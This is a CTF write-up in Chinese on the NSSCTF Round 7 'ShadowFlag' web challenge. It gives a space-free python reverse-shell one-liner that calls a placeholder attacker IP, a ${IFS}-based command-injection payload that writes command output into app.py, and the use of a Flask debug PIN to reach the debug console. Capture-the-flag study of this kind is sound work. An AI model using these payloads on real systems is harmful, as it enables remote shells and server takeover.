NSS Round7_web
概述:
题目来源Round7的web4—Shadowflag。比赛的时候也没做出来,但是也花费了很长时间去做这题和思考,所以赛后复现记录一下,自己遇到的坑及收获的一些技巧,知识等。感谢陈橘墨师傅出的这道题。这是大佬的博客:home - 橘墨的摸鱼现场 (randark.site)
过程:
方法一:出网,反弹shell
根据陈橘墨师傅的wp:GitHub - Randark-JMT/NSSCTF-Round_v7-ShadowFlag
写python的反弹shell代码即可,这里要用无空格的反弹shell,在巨魔师傅的poc.py中有写,但是这里我复现的时候也遇到了问题,问题如下:
1.使用$IFS代替空格,执行后,shell没有返回。
解决方法:群里又有别的大师傅发了wp,发现可以使用%09代替空格。大佬解释是:%09代表url编码的tab,大部分web服务都内置了解析url编码的能力。
2.使用%09后,使用hackbar发post包依然无shell返回。
解决方法:使用hackbar发post包时,使用bp抓此包。可以看到在bp中的数据,被url编码了。
用原来的替换掉这里,再发包即可反弹shell。原因?url编码数据过多,造成时间花费太长,以至于解析内容时仍然保留有url编码的内容?虽然知道本身post的数据是不需要url编码的,但是为什么url编码一些特殊关键字符能够解析,而全部url编码内容后却解析不了?
原始无空格反弹shell:
python%09-c%09'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.x",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
反弹成功后,查看/proc/[pid]/fd下的内容可以找到已经被删除了但进程没结束的文件内容。造成这里的原因是题目源码中的open函数,在使用python的open函数打开的文件,需要使用close()关闭。如果没有关闭,在linux下就会造成虽然已经删除,但是进程仍然存在的情况,如题所示。在window下,open打开的文件,没有使用close()关闭下或程序结束下,无法被删除。
在/proc/17/fd目录下得到flag1
根据巨魔师傅的poc.py,查看当前容器相关信息修改poc.py的对应内容
运行脚本,得到Flask debug PIN 的值
在这里又遇到了问题,访问 http://ip:port/console 路径输入PIN值,进行debug的时候得不到flag2
解决方法:使用hackbar发在路径http://ip:port/shell 下发post包,随意构造一个参数,但是参数不能为act,重新访问shell页面,则返回如下:
在这里debug,输入flag2或dump()得到flag2
方法二:不出网情况下rce
做这题我花费的时候都是使用自己想到的这个payload去实现rce,但是最终还是没解出来,因为不知道flag在那。信息收集也花费了很多时间,也了解到了删除文件但是进程还在的时候可以在/proc/[pid]/fd下恢复,但是我脑子一直宕机在不知道pid是多少,如何知道pid的问题上。禁用了ps命令。总之,我在做题更多的时间的花费是在做无用功上。废话不多说,下面是我自己想出来的rce payload。
act=touch${IFS}/tmp/flag1.txt;touch${IFS}/tmp/flag2.txt;echo${IFS}"'''`find${IFS}/${IFS}-name${IFS}flag*.*`'''">>./app.py
因为在开始测试后发现,只测试了一次,第二次就爆了找不到flag1.txt的文件,于是使用命令touch创建一个,flag2.txt同理。执行命令肯定要有回显的嘛,发现题目代码发现,只有app.py显示内容,所以我们要想办法把命令执行结果写到app.py中,然后我就想到了echo。但是光把内容写app.py是不行的,因为你把内容写进去后,再次访问shell路径,发现报错了,所以需要把写进去的内容注释掉。
刚开始我使用单行注释符 # ,发现在读取大量的内容返回时也会报错,所以换成使用注释符 三引号。
使用payload得到flag1
同样也可以读取到方法一中获取flag2所需的信息。
总结:
这题还是能学到不少东西的,而且也是挺好玩的。第一次了解到Flask debug PIN的相关内容,所以在上文中也没过多说明脚本内容,只是看懂了会利用。